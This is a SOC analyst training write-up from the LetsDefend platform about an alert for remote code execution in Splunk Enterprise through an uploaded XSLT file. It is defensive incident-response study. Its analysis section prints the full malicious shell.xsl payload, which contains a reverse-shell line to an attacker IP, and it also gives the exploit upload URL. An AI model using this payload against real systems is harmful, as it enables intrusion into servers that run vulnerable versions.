SOC239 - Remote Code Execution Detected in Splunk Enterprise

Syed Ammar

Cybersecurity Specialist

Table Of Contents

SOC Alert - LetsDefend.io

Alert triggered.

Remote Code Execution Detected in Splunk Walkthrough

SOC ANALYST REPORT

Incident Details:

Summary:

Incident Description:

Investigation Steps:

Findings:

Mitigation and Response:

Documentation:

Conclusion:

SOC Alert - LetsDefend.io

This is a documentation on what I have done training at the SOC Analyst Fundamentals course on letsdefend.io. Let'sdefend.io is a good platform for blue team training.

Alert triggered.

Alert on SIEM - SOC239 Remote Code Execution Detected in Splunk Enterprise

Remote Code Execution Detected in Splunk Walkthrough

SOC ANALYST REPORT

Incident Details:

Incident ID: EventID: 201 - SOC239 - Remote Code Execution Detected in Splunk Enterprise

Date and Time of Detection: Nov, 21, 2023, 12:24 PM

Incident Severity: High

Incident Category: Unauthorized access

Alert on SIEM - SOC239 Remote Code Execution Detected in Splunk Enterprise

Summary:

The SIEM simulation detected a security event EventID: 201 - [SOC239 - Remote Code Execution Detected in Splunk Enterprise] indicating the presence of remote code execution on Splunk Enterprise. The attack was successful and Splunk Enterprise host (172.16.20.13) is compromised, the host is isolated. Tier-2 escalation needed. This report outlines the analysis, investigation, and mitigation steps taken.

Incident Description:

Upon analysis of the SIEM simulation, EventID: 201 - [SOC239 - Remote Code Execution Detected in Splunk Enterprise] triggered due to the detection of a potential remote code execution attempt in Splunk Enterprise (172.16.20.13) from china's attacker IP (180.101.88.240). Here the full details on Remote code execution. Note that the attack was successful. The alert raised concerns about a security incident, prompting further investigation.

In Splunk Enterprise versions before 9.0.7 and 9.1.2, a security flaw lets attackers upload harmful XSLT, risking remote code execution.

Investigation Steps:

Initial Triage:

alert SIEM

Event Analysis:

Examined the details of Event ID: SOC239 to understand the nature of the remote code execution attempt.

Gathered information on the affected system and user accounts involved.

Event Analysis

Malware Analysis:

Static Analysis

Shell.xsl

XML Language Analysis:

Below are the contents of the XML Application Language in shell.xsl.

<?xml version="1.0" encoding="UTF-8"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">

<xsl:template match="/">

<exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text">

<xsl:text>sh -i >& /dev/tcp/180.101.88.240/1923 0>&1</xsl:text>

</exsl:document>

</xsl:template>

</xsl:stylesheet>

XML Declaration: declares the XML version and encoding.

XSLT Document Declaration: Specifies an XSLT stylesheet

Template Matching: The template matches the root element of the XML document

exsl:document Element: Instructs to create or write a document at a specified location.

Shell Command: Contains a shell command to create an interactive shell by redirecting input, output, and error to a 180.101.88.240 IP address and 1923 port.

Reference: The info of the XML Application Language was prompted by chatgpt

Dynamic Analysis

Anyrun

Other XML Process being executed

Splunk Enterprise Logs:

Analyzed Splunk Enterprise logs for any anomalous activities or unauthorized access.

Log management

Raw log shows the url address

The use of “Log Management” to check if there is communication with a certain address and to see the details of this communication.

In this case, the communication with specific address was http://18.219.80.54:8000/en-US/splunkd/__upload/indexing/previewoutput_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl

Host Containment

Since the attack was successful , EDR Containment on the Splunk Enterprise 172.16.20.13 is a must to restrict the attacker to spread the attack. Hence Tier-2 escalation is needed.

Host contained in EDR.

Findings:

Code Execution Attempt:

Source of the Attempt:

IBM X force exchange

Mitigation and Response:

Isolation:

Splunk Enterprise Review:

Security Patching:

Documentation:

Incident Documentation:

Conclusion:

The incident was successfully mitigated through prompt detection, analysis, and response. Tier 2 escalation is needed for continuous monitoring and proactive security measures.

https://app.letsdefend.io/case-management/casedetail/syedammar7/201

Like this project

Posted Dec 3, 2023

Security event indicating Remote Code Execution Detected in Splunk Enterprise. This report outlines the analysis, investigation, and mitigation taken.

Likes

Views

178

Clients

LetsDefend